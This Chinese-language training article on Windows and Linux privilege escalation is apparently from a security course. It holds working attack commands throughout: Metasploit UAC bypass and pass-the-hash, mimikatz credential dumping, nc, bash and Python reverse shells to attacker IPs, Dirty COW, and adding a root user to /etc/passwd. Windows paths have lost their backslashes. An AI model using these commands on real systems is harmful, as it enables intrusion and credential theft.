操作系统权限提升有哪些内容?网络安全培训
老男孩IT教育
常见问题
2020年11月27日 14:04
老男孩网络安全培训班学习,操作系统权限有哪些知识点?提高自己在服务器中的权限,就比如在 windows 中你本身登录的用户是 guest,然后通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限
操作系统权限提升
提权,顾名思义就是提高自己在服务器中的权限,就比如在 windows 中你本身登录的用户是 guest,然后通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。
壹:Windows 系统提权 User >> System
1 常见提权方法
1、溢出漏洞提权
2、数据库提权
3、第三方软件提权
2 Cmd 命令无法执行原因分析
1、Cmd 命令无法执行分析
主要原因是 cmd.exe 被管理员降权或删除,也有可能组件被删除。
2、Cmd 命令执行解决方法
通过脚本木马查找可读可写目录,上传 cmd,调用 cmd 路径执行命令(找可读可写目录不要选带空格目录)。
setp c:路径...cmd.exe #切换至上传的 cmd 来执行命令
3 提权常用命令讲解
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况
netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc
taskkill ——结束进程 taskkill -PID xx
net start ——启动服务
net stop ——停止服务
hostname——获取主机名称
quser or query user——获取在线用户
netstat -ano | findstr 3389——获取rdp连接来源IP
dir c:programdata——分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn——列出已安装的补丁
REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber——获取远程端口
tasklist /svc | find "TermService" + netstat -ano——获取远程端口
4 系统溢出漏洞提权究极实战
系统溢出漏洞提权分为两类:
(一)远程溢出
远程溢出提权是指攻击者只需要与服务器建立连接, 然后根据系统的漏洞,使用响应的溢出程序, 即可获取到远程服务器的 root 权限。
(二)本地溢出
本地溢出提权首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权,
攻击者通常会向服务器上传本地溢出程序,在服务器端执行,
如果系统存在漏洞,那么将溢出 root 权限。
一、UAC 绕过提权
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。当前获得的权限是存在于管理员组的时候但是并且是 administrator 这个用户,此时就可能需要我们进行绕过 UAC 的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要 bypass uac。
uac 绕过 exp
use exploit/windows/local/ask
meterpreter > background [*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > set session 1
msf5 exploit(windows/local/ask) > set lhost 192.168.60.79
msf5 exploit(windows/local/ask) > set lport 4444
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set technique exe
msf5 exploit(windows/local/ask) > exploit
其他exp:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac
二、利用系统内核溢出漏洞提权
此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的 EXP 和它们的补丁编号,进行提升权限。
微软官方时刻关注漏洞补丁列表网址:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
比如常用的几个已公布的 exp:
KB2592799
KB3000061
KB2592799
快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
Linux 中在类似 tmp 目录等可写目录下执行:如 C: mp>
MSF 后渗透扫描:
post/windows/gather/enum_patches
Powershell 扫描:
Import-Module C:Sherlock.ps1
Find-AllVulns
目前已对外公开 exp 注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
三、利用 SC 将 administrator 提权至 system
试用版本: windows 7、8、03、08、12、16
简单介绍一下概念
关于 sc 命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
这个命令的意思是创建一个名叫 syscmd 的新的交互式的 cmd 服务然后执行 sc start systcmd,就得到了一个 system 权限的 cmd 环境
四、利用不带引号的服务路径
Windows 命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞,如下述路径,C:Program FilesVulnerable.exe 中存在空格,此时在 C 盘根目录上传 Program.exe 文件时,就会被目标开机自启动。如果无效,还可以尝试在 C:Program Files 路径下上传 Vulnerable.exe 文件。
C:Program.exe
C:Program FilesVulnerable.exe
C:Program FilesVulnerable ServiceSub.exe
C:Program FilesVulnerable ServiceSub Directoryservice.exe
我们可以使用以下命令查看错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows" |findstr /i /v """
五、利用不安全的服务权限
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。
AccessChk 工具可以用来查找用户可以修改的服务:
accesschk.exe -uwcqv “Authenticated Users” _ /accepteula
accesschk.exe -uwcqv “user” _
sc 命令也可以用来查找用户可以修改的服务:
sc qc “Service” #查找可以修改的服务
sc config PFNET binpath= “net user rottenadmin P@ssword123! /add”
sc stop PFNET
sc start PFNET
每当我们开启服务时 sc 命令都返回了一个错误。这是因为 net user 命令没有指向二进制服务,因此 SCM 无法 与服务进行通信,通过使用执行自动迁移到新进程的 payload,手动迁移进程,或者在执行后将服务的 bin 路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个 system 的 shell
完整案例:
①、利用系统自带的 DcomLaunch 服务测试(此服务 Power User 组低权可操作)
“sc qc DcomLaunch”命令查询 DcomLaunch 的详细信息
net start | find "DCOM Server Process Launcher" 查看服务是否启动
运行 tasklist /svc 找到对应服务
②、修改服务并获取系统权限
这里要配置使用 nc 反弹 shell 到我的攻击机上,把 nc 放到 c:windows emp 目录下,使用 sc 对服务进行修改
sc config DcomLaunch binpath= "C:wmpub
c.exe -nv 192.168.32.194 4433 -e C:WINDOWSsystem32cmd.exe"
注意 binpath=后面一定要有个空格,IP 为攻击者 IP
③、查看是否第二步成功
sc qc DcomLaunch
④、配置账号密码
sc config DcomLaunch obj= ".LocalSystem" password= ""
obj: 指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
password: 指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。
⑤、重启服务
net start DcomLaunch
⑥、攻击机上用 nc 进行监听 4433 即可得到反弹的 shell
nc.exe -vv -l -p 4433
六、计划任务
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。
schtasks /query /fo LIST /v #查看计算机的计划任务
accesschk.exe -dqv "D: est" -accepteula #查看指定目录的权限配置情况
七、Meterpreter 基础提权
首先在 Meterpreter 会话执行 ps 命令查看目标机当前进程: 假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程 PID,(实际我们这里找个任意的 SYSTEM 账户运行的进程),PID 为 2584: 然后我们可以执行以下语句窃取该用户进程的令牌:
steal_token 2584
5溢出漏洞安全防范
及时通过 Windows Update 或第三方工具 360 更新补丁
6提权后的密码安全性测试
简单介绍一下概念
虽然我们已经有了管理员权限,但是我们最好是有管理员密码进行扩展攻击,很多管理员账号密码都设置成一样的,攻下一台就可以拿下所有,同时远程连接时,比如使用木马,很容易被发现或者清理,如果用管理员账号,可以清除渗透,也就是对操作系统和服务器不产生影响的情况下,尤其是正规渗透测试过程中,都是取得管理员账号密码,登录 3389 端口或反端口连接者证明为成功
简单地说就是从获取管理员权限——>获取管理员账号
1、本地管理员密码如何直接提取
①、直接通过 mimikatz 读取管理员密码,win10 无效
mimikatz,很多人称之为密码抓取神器,它的功能很多,最重要的是能从 lsass.exe 进程中获取 windows 的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass 进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。
第一条:提升权限
privilege::debug
第二条:抓取密码
sekurlsa::logonpassWords
第三条:当无法上传 mimikatz 工具到目标服务器时,可以利用 procdump 把 lsass 进程的内存文件导出本地,再在本地利用 mimikatz 读取密码,具体步骤如下
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为 lsass.dump 文件
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
②、Lazagne 需要本地支持 python
简单介绍一下
LaZagne 项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。但是对聊天软件的支持不够本土化,主要支持一些国外的聊天软件。
laZagne.exe all #获取所有密码
laZagne.exe browsers #只获取浏览器记住的密码
laZagne.exe all -oN #将输出保存到文件
-oN 表示是纯文本格式(正常的)的输出,和屏幕打印内容相同;还可以写成-oJ,JSON 格式的输出,更便于程序解析;或者写成-oA,同时输出两种格式。
2、本地 Hash 远程直接登录
遇到高版本的系统,密码不是明文的情况下,我们通过哈希值来取得管理员账号。主要通过 MSF 提供的 exploit/windows/smb/psexec 模块来完成
msf>use exploit/windows/smb/psexec
msf>set rhost 目标IP
msf>set SMBUser administrator #目标账号
msf>set SMBPass 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4 #目标哈希值
msf>exploit
msf>shell
3、Hash 密钥暴力破解
①、通过 LC5 暴力 hash 密码
使用 gmer 直接提权 SAM 和 system 文件或用 Pwdump7 提取 hash,最后使用 LC5 破解
②、使用 ophcrack 破解系统 hash 密码
http://simeon.blog.51cto.com/18680/122160
贰:Linux 系统提权
当我们拿到了一台 Linux 服务器的低权限账号,于是,我们想要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于 Linux 提权我们得先明白几个概念。
1、linux 发行版本
是我们常说的 Linux 操作系统,也即是由 Linux 内核与各种常用软件的集合产品,全球大约有数百款的 Linux 系统版本,每个系统版本都有自己的特性和目标人群, 例如:
CentOS 社区企业版(服务器端)
redhat 社区个人版
ubuntu (个人端)
kali (hacked)
2、linux 内核
Linux 系统内核指的是一个由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
Linux 内核版本有两种: 稳定版和开发版 ,Linux 内核版本号由 3 组数字组成:第一个组数字.第二组数字.第三组数字
第一个组数字:目前发布的内核主版本。
第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
第三个组数字:错误修补的次数。
使用 uname -r 可以看到 linux 系统的发行版本号。3.10.0 就是内核版本号。3 就是内核主版本,10 表示是稳定版,0 表示错误修补次数是 0。 而 123.el7.x86_64 则是 redhat 的发行版本信息,123 代表编译 123 次,el7 代表的是 redhat7,x86_64 则是 64 位系统。
或者使用以下命令也可以看到系统内核及版本的一些信息:
uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本
3、Linux 开启 apache 服务
在终端输入
“vim /etc/apache2/ports.conf” ->
键盘输入 i 进入插入编辑模式 -> 修改 apache2 默认监听端口号为 8080 -> 编辑好后,按 Esc 键+“:wq” 保存退出 -> 在终端输入
“/etc/init.d/apache2 start”
4、Linux 提权的前提:
拿到了一个低权限的账号 能上传和下载文件 机器上有 python、java、perl 等环境(非必须项)
5、Linux 常用渗透命令学习
死记硬背以下 12 类命令:系统信息查看类、文件目录类、驱动挂载类、程序安装类、源代码包安装、压缩解压类、进程控制类、程序运行类、用户帐号类、vi 编辑类、网络服务、其他类等。
6、Linux提权方法总结
一、Linux反弹提权
如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。
1、首先得有一个netcat
简单介绍一下netcat
功能强大的网络工具,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
①netcat参数介绍
1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p <port> 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s 指定发送数据的源IP地址,适用于多网卡机
4) -u 指定nc使用UDP协议,默认为TCP
5) -v 输出交互或出错信息,新手调试时尤为有用
6)-w 超时秒数,后面跟数字
7)-z 表示zero,表示扫描时不发送任何数据
②nc用法介绍 1——tcp监听
nc nc -l -p 8080 开启本地8080端口监听
③nc用法介绍 2——反弹服务器shell
方法⑴: REMOTE主机绑定SHELL
在公网监听
nc -l -p 5354 -t -e c:winntsystem32cmd.exe
或者
nc -l -p 5555 -t -e cmd.exe
在内网主动建立连接
nc -nvv 192.168.153.138 5555
讲解: -t是通过telne模式执行 cmd.exe 程序,可以省略。
绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
方法⑵: REMOTE主机绑定SHELL并反向连接
在公网监听
nc -lp 5555
在内网机器反弹
nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
或者
nc -t -e cmd 192.168.153.140 5555
讲解: 绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多,当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)
2、利用bash直接反弹
简单介绍一下bash
Bash,Unix shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它支持文件名替换(通配符匹配)、管道、here文档、命令替换、变量,以及条件判断和循环遍历的结构控制语句。
(1) bash反弹一句话
1.bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
2.本地 nc -l -p 8080
(2)bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
命令 命令详解
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面的相结合然后一起重定向给后者
/dev/tcp/192.168.31.41/8080 linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让主机与目标主机192.168.61.41:8080端口建立一个TCP连接。
0>&1 将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
二、内核漏洞提权——脏牛
简单介绍一下脏牛
脏牛漏洞: 又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。还有一些其他的内核漏洞提权了。但是内核漏洞提权很难成功,因为内核提权对内核的版本,还有目标机器的环境要求很高(需要安装有gcc等编译环境 )。所以使用内核提权成功率很低。并且内核提权需要查看exp的源代码,不然可能连编译都不会。
漏洞范围: Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
简要分析: 该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
exp:
https://github.com/gbonacini/CVE-2016-5195
示例:脏牛内核提权
①首先查看发行版本
cat /etc/issue
cat /etc/*-release
②然后查看内核版本
uname -a
③内核>=2.6.22,利用gcc编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
④执行当前编译的dirty.c文件,然后输入新密码123456
./dirty
⑤等待一段时间后,成功创建。然后su firefart切换到此用户会发现已经是root权限了
三、SUID提权
简单介绍一下概念
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
什么是SUID提权?
那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。
⑴在本地查找符合条件的文件,有以下三个命令
以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
⑵已知的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
示例:利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami ;
然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
于是我们以root用户的身份利用python反弹shell,
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
四、Linux配置错误提权
利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权
对Linux配置进行检查的脚本有: https://www.securitysift.com/download/linuxprivchecker.py
http://pentestmonkey.net/tools/audit/unix-privesc-check
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。 首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
首先,使用perl语言生成带有盐值的密码:
perl -le 'print crypt("password@123","addedsalt")'
然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
以用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限。
以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。
useradd -p `openssl passwd -1 -salt 'user' 123qwe` -u 0 -o -g root -G root -s /bin/bash -d /home/user venus
五、定时任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被列出。默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。
ls -l /etc/cron*
使用该命令,列出的文件,查看 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。如果 允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。
六、密码复用提权
我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码。那么就可以尝试一下 su root 来提权了。
阅读更多: